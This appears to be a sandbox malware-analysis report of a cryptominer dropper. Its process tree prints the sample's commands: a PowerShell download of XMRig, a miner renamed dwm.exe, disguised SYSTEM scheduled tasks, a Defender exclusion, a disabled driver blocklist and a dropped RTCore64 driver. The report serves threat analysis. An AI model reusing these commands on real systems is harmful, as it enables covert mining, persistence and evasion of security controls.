Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
27/04/2026, 12:17
General
- Target file_c8e4af3ea647650f.exe
- Size 950KB
- Sample260427-pgf4qsax3x
- SHA256 b80016aa911026ba0e71f2818f600b7499eddf87ebfc317c6c9cc7ed53a91c27
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.22.3/xmrig-6.22.3-msvc-win64.zip
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs
Disable Windows Driver Blocklist via Registry.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 9 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\file_c8e4af3ea647650f.exe"C:\Users\Admin\AppData\Local\Temp\file_c8e4af3ea647650f.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Libraries\svchost.exe"C:\Users\Public\Libraries\svchost.exe"3⤵
- Modify Registry: Disable Windows Driver Blocklist
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\Temp\240646390.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /tr "'C:\Users\Public\Libraries\svchost.exe'" /sc onlogon /ru SYSTEM /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.22.3/xmrig-6.22.3-msvc-win64.zip', 'C:\Users\Public\Libraries\msupd32.zip'); Write-Output 'SUCCESS' } catch { Write-Output 'FAILED' }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "Expand-Archive -Path 'C:\Users\Public\Libraries\msupd32.zip' -DestinationPath 'C:\Users\Public\Libraries\' -Force; Start-Sleep -Seconds 2; $found = $false; Get-ChildItem 'C:\Users\Public\Libraries\' -Recurse -Filter 'xmrig.exe' -ErrorAction SilentlyContinue | ForEach-Object { if (-not $found) { Move-Item $_.FullName 'C:\Users\Public\Libraries\dwm.exe' -Force; $found = $true; } }; if ($found) { 'FOUND_MOVED' } else { 'NOT_FOUND' }"4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd /c rmdir /s /q "C:\Users\Public\Libraries\xmrig-6.22.3" 2>nul4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /f /ru SYSTEM /rl HIGHEST /sc ONSTART /tn "WindowsRuntimeService" /tr "C:\Users\Public\Libraries\dwm.exe" /delay 0000:30 >nul 2>&14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /f /ru SYSTEM /rl HIGHEST /sc ONSTART /tn "MicrosoftEdgeUpdateTaskMachineCore" /tr "C:\Users\Public\Libraries\dwm.exe" /delay 0000:30 >nul 2>&14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Public\Libraries\dwm.exe"C:\Users\Public\Libraries\dwm.exe" --config="C:\Users\Public\Libraries\config.json" --background --donate-level=0 --quiet4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "Start-Process -FilePath 'C:\Users\Public\Libraries\dwm.exe' -ArgumentList '--config=C:\Users\Public\Libraries\config.json --background --donate-level=0 --quiet' -WindowStyle Hidden -NoNewWindow"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Public\Libraries\svchost.exe"C:\Users\Public\Libraries\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /tr "'C:\Users\Public\Libraries\svchost.exe'" /sc onlogon /ru SYSTEM /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Temp\RTCore64.sysC:\Windows\Temp\RTCore64.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hjwzjbat.g0n.ps1
config.json
dwm.exe
msupd32.zip
svchost.exe
BENCHM~1.CMD
BENCHM~2.CMD
CONFIG~1.JSO
POOL_M~1.CMD
RTM_GH~1.CMD
SHA256~1
SOLO_M~1.CMD
WINRIN~1.SYS
start.cmd
240646390.ps1
RTCore64.sys
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
debug_log.txt
memory/440-198-0x000002B874700000-0x000002B87470C000-memory.dmp
memory/1316-118-0x00000199EB380000-0x00000199EB38A000-memory.dmp
memory/1316-147-0x00000199EAAB0000-0x00000199EAABC000-memory.dmp
memory/1316-117-0x00000199EB390000-0x00000199EB3A2000-memory.dmp
memory/2816-41-0x0000015CCF5B0000-0x0000015CCF5BC000-memory.dmp
memory/2816-30-0x0000015CE7D20000-0x0000015CE7D42000-memory.dmp
memory/3436-186-0x000002A4D4640000-0x000002A4D464C000-memory.dmp
memory/3896-105-0x000002A74BDB0000-0x000002A74BDBC000-memory.dmp
memory/4596-68-0x0000000000010000-0x000000000001A000-memory.dmp
memory/4932-170-0x000002482E7C0000-0x000002482E7E0000-memory.dmp